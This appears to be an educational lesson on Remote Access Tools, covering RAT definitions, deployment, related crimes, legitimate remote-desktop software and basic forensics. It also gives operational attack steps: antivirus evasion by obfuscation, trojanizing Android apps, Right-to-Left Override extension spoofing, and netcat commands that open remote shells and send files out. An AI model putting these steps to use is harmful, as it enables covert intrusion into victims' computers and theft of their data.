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Performance Objective

At the conclusion of the course the student will be able to:

  1. Identify what a RAT is.

  2. Explain one crime facilitated by a RAT.

  3. Explain how to develop and deploy a RAT.

  4. Explain one legitimate use for a RAT.

Introduction

Remote Access Tools are software designed to facilitate the control of a system through a remote network connection. The acronym RAT may also be used to represent Remote Access Trojans but because there are an assortment of both legitimate as well as otherwise tools that provide similar capability, we use the word Tool. A RAT will often be installed without the victims knowledge and is often deployed in conjunction with other malware or as the payload of a Trojan horse.

A list of RATS includes -

  1. Stitch (Windows/Mac/Linux)
  2. Koadic (Windows)
  3. ThunderShell (Windows)
  4. Quasar (Windows)
  5. Kaynak (Android)
  6. TheFatRat (Windows/Linux)
  7. EvilOSX (Mac OSX)
  8. AhMyth (Android)
  9. NJRat (Windows)
  10. dropout-jeep (IOS)

Anti Virus

When you compile a program, unless changes in the code are made, the application itself will always compile into a similar form as any other copy. This is referred to as a signature and is just used to reference the sequence of bits that makes up the application. Since a virus or other bad acting software will appear the same, this signature is what an antivirus program will search for. They attempt to identify the signature of the virus when stored on your PC.

Many times an exploit is designed and then a wrapper is used for delivery of the payload. You will sometimes find viruses that are designed to do one thing, like encrypting files, but the delivery method is different, and therefore the virus must be referenced each time by a new name or signature. The term often used is ‘variant’. Anti virus companies will regularly push out new definitions or lists of viruses and their variants so they can continue to look for those items.

You may need to encrypt or otherwise obfuscate the file to get it onto a system. This can be accomplished using a tool like Unicorn. This takes your attack and obfuscates it. It is a potential method to avoid binary identification by anti virus. X-Crypt and other obfuscation tools can also be used.

Deployment

The deployment of a RAT will usually require some form of attack or exploit. You need to deliver the tool, use an exploit to get it ran, and then make sure you are able to get their system to connect to your command and control system.

Social Engineering

Indian and UK businesses were attacked in a campaign using old fashioned social engineering. French companies were targeted as well. A social engineering campaign can use email, phone calls, spear phishing, good research, and mind games. The act of social engineering is an excellent method to get people to install a RAT and is limited only by the imagination of the attacker.

Browser Exploits

Internet Explorer and other Windows products have suffered from Scripting Engine Memory Corruption Vulnerabilities for some time now. Even after fixes have been pushed for these issues, the same problems or similar variants continue to crop up. Exploiting the browser is a popular and traditional method of deploying a RAT.

You might use RIG or choose from the malwarebytes list if you need some kind of tool to help you in executing a drive by download.

Trojan Horse

Building a trojan virus is relatively simple. The idea is even easier on Android. Find a popular application, add RAT code to run first when the application is executed, wrap them both, and then deliver the APK file through an Android market or free online.

You may want to spoof the extension on Windows because users often know not to click on an EXE file. This can be done easily two ways.

Right To Left Override

  1. Get your RAT.EXE file prepared for minor changes.

  2. Open the Windows Character Map (Hint: Type map into the search box on Start)

  3. Copy the U+202E:Right-To-Left Override character.

  4. Rename your file and before the .extension paste the RTLO character

  5. Type 3pm and press enter.

You have now spoofed the extension and turned a .exe file into a .mp3 but it will still function as an exe.

Back Door Binary Conversion Tool

You can convert an EXE file into what appears to be a ppt file through the use of a simple script. This simplifies hiding any executable payload as a power point file.

Example Crimes

Sextortion

A good example of a sextortion attack can be found on Krebs On Security. While his example is a con, there are examples of individuals finding themselves recorded through use of a RAT in compromising positions.

Repair & Customer Service Scams

The FTC has an excellent resource on customer service and repair scams. Users will often receive phone calls or emails stating that their computer has been exploited and will then demand access to the computer as well as money in return for ‘resolving’ some fictitious issue. The elderly are often exploited with this attack.

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Revenge

Sometimes people get angry at scammers and then turn the tables on them. An example of this type of behavior is in this video. At 10:15 in the video you can hear employees in the call center screaming about wanna cry.

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A livestream of people attacking scammers is available on YouTube.

Legitimate Remote Access Tools

Gaining remote access to a computer is a legitimate need and many software packages exist to facilitate this behavior. You can easily

TightVNC is a free remote control software package. You can see and control the desktop of a remote machine.

LogMeIn provides remote access and control over computers at a premium.

TeamViewer is a free remote desktop tool.

Windows Remote Desktop is a tool for Windows based computers to facilitate the remote control of a computer. You can often find RDP in use on port 3389.

Forensics

A RAT will often require a command and control center of some sorts to facilitate the attack. Many RAT attacks will employ the use of a domain provided by a company like no-ip. You can use Wireshark to help you begin the forensic process of tracking down an attacker.

  1. Run Wireshark
  2. Filter by DNS
  3. Find the odd domain name
  4. $nslookup badaction.noip.com

You may also wish to deploy a router that allows you to monitor the traffic. You have many options but using a Raspberry Pi as a wireless router or using DD-WRT could both be effective depending on your needs.

Understand how networking works to better understand how these tools function.

Do it by hand

Netcat is an awesome tool that can be deployed as an alternative to many of these attack vectors.

If you have access to a Linux box and want to pipe a command shell to a connecting system we can open a server using -

Windows Server

nc -l -p 8080 -e cmd.exe

Linux Server

$ nc -l -p 8080 -e /bin/bash

Host

$nc IP 8080

You can exfiltrate files using -

Windows

type file.doc | nc IP PORT

Linux

$cat file.doc | nc IP PORT

Download the file using -

$nc -l -p PORT -q 1 > file.doc < /dev/null

Windows Or Linux?

Is Linux more secure than Windows?

Linux propagates a system of least privilege with users urged to sudo up in order to run certain software. This reduces the vulnerability foot print for the user. If my system is compromised it is likely I will only loose data on my account and not the underlying system or information in adjacent users accounts. This often is considered a convoluted method of working to users with familiarity in the Microsoft ecosystem. Many PC users running Windows enjoy the simplicity of conducting all business as admin. This is one of the reasons that something like cryptoware is so devastating with Windows.

Windows attempts to emulate sudo with the User Access Control method. However, strict and constant use of UAC often jades users and they find themselves clicking ‘OK’ or ‘Next’ as quickly as possible. This leads to them bypassing the UAC and installing harmful software anyways. You can see an interesting thread on the Steam Support Forums in which a user asks why games need admin access to a computer. The vast majority of users are used to allowing complete and full admin access to their computer for something as simple as a video game.

I believe that Linux is more secure than Windows because it requires a certain level of technical acumen to deploy. You have more tools available to you to secure the system, you require a greater level of skill to use the system, and you are less likely to have knowledge gaps that allow scammers to exploit you. I do not know of any person reporting to me that they have received a support center scam call targeting their Linux box.

Linux has a 100% market share of super computers and is installed on between 70 and 90 percent of servers. The amount of valuable information hosted in Linux based computers is incredibly diverse. The belief that no one targets Linux due to their poor market share seems inconceivable when the amount of data and the value of it is vast. I believe there is a difficulty factor to attacking Linux systems that is not often discussed when people defend their choice of OS.

Answers

  1. A RAT is a tool used to facilitate the remote control of a device over a network connection.

  2. Sextortion is a crime that can be facilitated by a RAT.

  3. A RAT can be written in a multitude of languages and frameworks and is often served through the use of a trojan horse or social engineering attack.

  4. A RAT can be used to provide legitimate repair services to users who may need remote help.

Conclusion

A remote access tool is not necessarily an evil or bad thing. You can deploy many different tools for a myriad of positive reasons. However, we must also understand that for every tool that we have that can help us, in the wrong hands, it can be used to cause harm. Scammers and criminals target individuals in the hopes of causing harm or gaining illicit financial gain through the use of disparate exploits and attacks brought together to weave a battle plan together. We must be cognizant that remote access of computers is a normal and every day occurrence. However, we should also understand that the use of a remote access tool to cause harm is not normal and should not be tolerated.

A basic understanding of how an operating system works, how users interact within that ecosystem, and how networking functions are all valuable skills that can greatly increase your capabilities. Learn about the tools being deployed, read their source code if possible, and practice in a safe environment to maximize your learning.

Final Recommendations

  1. Use Linux.

  2. Understand how the underlying OS works in user space.

  3. Build your tool box.

  4. Read about vulnerabilities.